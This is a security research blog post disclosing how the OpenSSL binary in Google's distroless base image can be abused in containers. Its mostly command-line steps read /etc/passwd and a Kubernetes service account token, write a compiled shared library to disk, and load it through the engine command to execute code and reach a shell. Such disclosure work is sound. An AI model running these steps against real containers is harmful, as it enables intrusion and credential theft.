Blogs· 7min September 22, 2022
An abuse of functionality in the OpenSSL binary, installed in the official Google Container Tools Distroless Base container image, allows for command execution and arbitrary file read and write on distroless containers. By abusing the enc functionality in the OpenSSL binary it is possible to read and write to the filesystem using the -in and -out options and combining the write to the filesystem capability with the engine functionality that allows us to load shared libraries, it is possible to obtain command execution by uploading and loading malicious library.
This post will cover:
Distroless images contain only the application and its runtime dependencies. They do not contain package managers, shells or any other programs you would expect to find in a standard Linux distribution. Without non-essential executables and libraries, distroless images are often recommended for their performance, size and security due to the reduced attack surface. However, as we will see not all distroless images are built the same.
Product URLs
The Distroless Base image (gcr.io/distroless/base) contains the OpenSSL package, installed by the following bazel script https://github.com/GoogleContainerTools/distroless/blob/main/base/base.bzl
[...snip...]
container_image(
name = "base_" + user + "_" + arch + distro_suffix,
architecture = arch,
base = ":static_" + user + "_" + arch + distro_suffix,
debs = [
DISTRO_PACKAGES[arch][distro_suffix]["libc6"],
DISTRO_PACKAGES[arch][distro_suffix]["libssl1.1"],
DISTRO_PACKAGES[arch][distro_suffix]["openssl"],
],
)
[...snip...]
The OpenSSL package installs two executable binaries the c_rehash and the openssl in the /usr/bin/ directory.
# dpkg -L openssl | grep bin/
/usr/bin/c_rehash
/usr/bin/openssl
To demonstrate the vulnerabilities we will use a docker container running a simple Golang application on a distroless base image.
main.go
package main
import (
"fmt"
"time"
)
func main() {
for {
fmt.Println("Hello world!")
time.Sleep(time.Second * 1)
}
}
Dockerfile
FROM golang:1.18 as builder
WORKDIR /go/src/app
ADD . /go/src/app
RUN go get -d -v ./...
RUN go build -o /go/bin/app
FROM gcr.io/distroless/base
COPY --from=builder /go/bin/app /
CMD ["/app"]
Building the docker image.
% docker build -t distroless-demo .
[...snip...]
Running the container and verifying that the application is working as intended.
% docker run --name demo -d distroless-demo
fad9d33c2a467cf92bdc3c011f9dfe9ecbf5f2ed7da5b8a6b2c82ea8b7511199
% docker attach demo
Hello world!
Hello world!
Hello world!
read escape sequence
And as expected there is no shell available in the container.
% docker exec -it demo /bin/sh
OCI runtime exec failed: exec failed: container_linux.go:380: starting
container process caused: exec: "/bin/sh": stat /bin/sh: no such file or
directory: unknown
But OpenSSL provides and interactive command prompt that can be abused.
% docker exec -it demo /usr/bin/openssl
OpenSSL>
OpenSSL available commands.
OpenSSL> help
Standard commands
asn1parse ca ciphers cms
crl crl2pkcs7 dgst dhparam
dsa dsaparam ec ecparam
enc engine errstr gendsa
genpkey genrsa help list
nseq ocsp passwd pkcs12
pkcs7 pkcs8 pkey pkeyparam
pkeyutl prime rand rehash
req rsa rsautl s_client
s_server s_time sess_id smime
speed spkac srp storeutl
ts verify version x509
Message Digest commands (see the `dgst' command for more details)
blake2b512 blake2s256 gost md4
md5 rmd160 sha1 sha224
sha256 sha3-224 sha3-256 sha3-384
sha3-512 sha384 sha512 sha512-224
sha512-256 shake128 shake256 sm3
Cipher commands (see the `enc' command for more details)
aes-128-cbc aes-128-ecb aes-192-cbc aes-192-ecb
aes-256-cbc aes-256-ecb aria-128-cbc aria-128-cfb
aria-128-cfb1 aria-128-cfb8 aria-128-ctr aria-128-ecb
aria-128-ofb aria-192-cbc aria-192-cfb aria-192-cfb1
aria-192-cfb8 aria-192-ctr aria-192-ecb aria-192-ofb
aria-256-cbc aria-256-cfb aria-256-cfb1 aria-256-cfb8
aria-256-ctr aria-256-ecb aria-256-ofb base64
bf bf-cbc bf-cfb bf-ecb
bf-ofb camellia-128-cbc camellia-128-ecb camellia-192-cbc
camellia-192-ecb camellia-256-cbc camellia-256-ecb cast
cast-cbc cast5-cbc cast5-cfb cast5-ecb
cast5-ofb des des-cbc des-cfb
des-ecb des-ede des-ede-cbc des-ede-cfb
des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb
des-ede3-ofb des-ofb des3 desx
rc2 rc2-40-cbc rc2-64-cbc rc2-cbc
rc2-cfb rc2-ecb rc2-ofb rc4
rc4-40 seed seed-cbc seed-cfb
seed-ecb seed-ofb sm4-cbc sm4-cfb
sm4-ctr sm4-ecb sm4-ofb
1. Reading arbitrary files, no kubectl cp no problem!
Abusing the OpenSSL enc functionality allows us to read files inside the container filesystem.
% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -in /etc/passwd
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin
OpenSSL>
2. Writing and executing custom "malicious" binaries
Abusing OpenSSL enc and engine functionalities allows us to write and execute a custom library running our "malicious" code.
Setup
Custom library source code.
#include <openssl/engine.h>
#include <sys/utsname.h>
static int bind(ENGINE *e, const char *id) {
struct utsname buf;
uname(&buf);
printf("Hostname: %s" ,buf.nodename);
return 1;
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
Compilling the library using gcc.
sudo apt install openssl-devel -y
gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o
Base64 encode the library.
base64 ./hostname.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO
[...snip...]
Writing the payload
Writing the base64 encoded library using the OpenSSL enc functionality.
% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -d -a -out /tmp/hostname.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO
[...snip...]
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
OpenSSL>
Executing the payload
Executing the custom library using the OpenSSL engine functionality and print the container hostname.
% docker exec -it demo /usr/bin/openssl engine /tmp/hostname.so
Hostname: d68dc92b5c99(/tmp/hostname.so) <NULL>
Reading the Kubernets service account token using OpenSSL.
% kubectl exec -it distroless -- /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImRpTVR5QnNxcXhLUjNzYUFSYW14TGdoZHZLNkJ6aTVD
[...snip...]
Gaining interactive command execution by uploading a custom shell.
python3 poc.py
[*] Uploading the shell
[*] Uploading the payload
[*] Executing the payload
[*] Getting a shell
# set
GOTRACEBACK='single'
HOME='/root'
HOSTNAME='distroless'
IFS='
'
KUBERNETES_PORT='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP_ADDR='10.43.0.1'
KUBERNETES_PORT_443_TCP_PORT='443'
KUBERNETES_PORT_443_TCP_PROTO='tcp'
KUBERNETES_SERVICE_HOST='10.43.0.1'
KUBERNETES_SERVICE_PORT='443'
KUBERNETES_SERVICE_PORT_HTTPS='443'
LINENO=''
OPTIND='1'
PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='0'
PS1='# '
PS2='> '
PS4='+ '
PWD='/'
SSL_CERT_FILE='/etc/ssl/certs/ca-certificates.crt'
TERM='xterm'
#
Written by
Daniel Teixeira is Lead of Offensive Security at Form3. He's passionate about security particularly interested in adversary simulation, vulnerability research and exploit development. He has authored the course "Penetration Testing in Action" on Pluralsight and the book "Metasploit Penetration Testing Cookbook" with Packt Publishing.
Blogs · 10 min
Maintaining customer satisfaction during incidents is crucial for any business. In this blogpost, Piotr shares how we leverage Prometheus to expose business metrics in a secure and cost-effective way to keep customers informed and happy during those stressful situations.
May 24, 2023
Blogs · 4 min
Michael Kerrisk is a Linux expert and trainer. He joins us to explain what containers are and deep dive into the four core components of containers: namespaces, capabilities, cgroups and seccomp. He also draws parallels on how they are used by Docker to power container systems as we know them today.
May 17, 2023
Blogs · 5 min
In this post, Michał walks you through a sample setup of the AWS Gateway Load Balancer. We will provision the infrastructure using Terraform, write a simple virtual appliance application and show it all in action. He demonstrates how this service can be used to route network traffic through a virtual appliance where each network packet can be inspected, modified, or dropped.
May 11, 2023